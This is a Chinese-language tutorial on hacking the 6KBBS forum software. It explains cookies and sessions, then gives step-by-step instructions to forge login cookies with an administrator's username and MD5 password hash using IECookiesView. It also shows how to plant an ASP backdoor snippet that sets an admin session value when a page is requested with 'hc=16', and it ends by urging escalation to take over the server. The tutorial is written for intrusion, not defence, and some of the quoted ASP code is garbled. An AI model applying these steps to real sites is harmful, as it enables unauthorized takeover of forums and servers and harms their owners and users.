实例讲解Cookies欺骗与session欺骗入侵

  • A+
所属分类:网络安全

我们先来说下基础知识,免的一些菜鸟看不懂,有借鉴.

cookies欺骗,就是在只对用户做cookies验证的系统中,通过修改cookies的内容来得到相应的用户权限登录。

  那么什么是cookies呢,我这里给大家一个专业的解释,cookies是一个储存于浏览器目录中的文本文件,记录你访问一个特定站点的信息,且只能被创建这个cookies的站点读回,约由255个字符组成,仅占4kb硬盘空间。当用户正在浏览某站点时,它储存于用户机的随机存取存储器ram中,退出浏览器后,它储存于用户的硬盘中。储存在cookies中的大部分信息是普通的,如当你浏览一个站点时,此文件记录了每一次的击键信息和被访站点的地址等。但是许多web站点使用cookies来储存针对私人的数据,如:注册口令、用户名、信用卡编号等。

什么是Session?当一个访问者来到你的网站的时候一个Session就开始了,当他离开的时候Session就结束了。本质是来说,cookie是和浏览器有关系,而Session变量就可以存一些资源变量在服务器上面。

正题:

我们先里看个实例,在6KBBS的login.asp找到113—124行,得到以下代码:

if

login=false then tl=" 登 陆 失 败" mes=mes&"

  ·返回重新填写" else response.cookies(prefix)("lgname")

  =lgname session(prefix"lgname")=

  lgname response.cookies(prefix)("lgpwd")=

  lgpwd response.cookies(prefix)("lgtype")=

  lgtype response.cookies(prefix)("lgcook")=

  cook if cook>0 then response.cookies(prefix).expires=

  date cook end if

我们来分析下,如果你登录失败了他就显示你登录失败并引导你返回上一页,否则就给你写进cookies里面,如果你的cookies有的话那么你的过期时间就是你cookies的过期时间——也就是你保存cookies的时间了。

这时,我们想到的是如果里面的信息是admin的,那一不就成了以管理员登陆了吗?

首先,我们先去注册一个用户,然后登录,有个cookies保存的选项,一定要选哦。我选择是保存一个月,因为保存了才会再你本机上写进它的cookies。接着,打开数据库,看admin表里面有什么东西,别的不管,你只要那个bd为16的那个人就行了。有可能没有,你可以到他们论坛去逛一下,看管理员是谁,然后在数据库里面拿他的账号和加密的密码来欺骗。

  打开iecookiesview,这款软件是拿来察看和修改本机的cookies的,很方便我们的cookies欺骗入侵。

  在iecookiesview 里找到你要欺骗的那个网站,看到了吗?有你的用户名和md5加密的密码,我们吧这两项改为管理员的,就是把刚才数据库里面的管理员账号和md5加密的密码代替你自己的。点击“更改cookies”,打开一个新的ie,然后再去访问那个论坛,看到没有?你现在已经是管理员了。

接着,麻烦的事出现了,后台登陆并不是以cookies来实现的,而是以session实现的 ,所以我们同样来欺骗session;

首先简单说一下一般asp系统的身份验证原理。 一般来说,后台管理员在登录页面输入账号密码后,程序会拿着他提交的用户名密码去数据库的管理员表里面找,如果有这个人的账号密码就认为你是管理员,然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来,然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较,如果相等,就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值,如果是管理员就让你通过,不是的话就引导你回到登录页面。

找到manage/admin.asp,发现验证内容为:

...

  else

   rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")

   rs("LastLoginTime")=now()

   rs("LoginTimes")=rs("LoginTimes") 1

   rs.update

   session.Timeout=SessionTimeout

   session("AdminName")=rs("username")

   rs.close

   set rs=nothing

   call CloseConn()

   Response.Redirect "Admin_Index.asp" 很容易就知道如果没有获得验证就会出现两个session值:

session.Timeout=SessionTimeout

  session("AdminName")=rs("username") 试想如果我们以adminName的信息登陆就就ok了..接着用ASP木马编辑器来添加代码如下:

dim id

  id=trim(request("hc"))

  if id="16" then

   session("AdminName")="admin"

  end if 分析上段代码,有个不定值--admin,可以根据实际情况来设置,不一定是admin;可以在一些不常去的页面来登陆,如:FriendSite.asp?hc=16返回时页面没有出现异样,这就行了,然后再次登陆manage/admin.asp,你会发现,你已经进入后台了。然后可以提权得弄服务器了。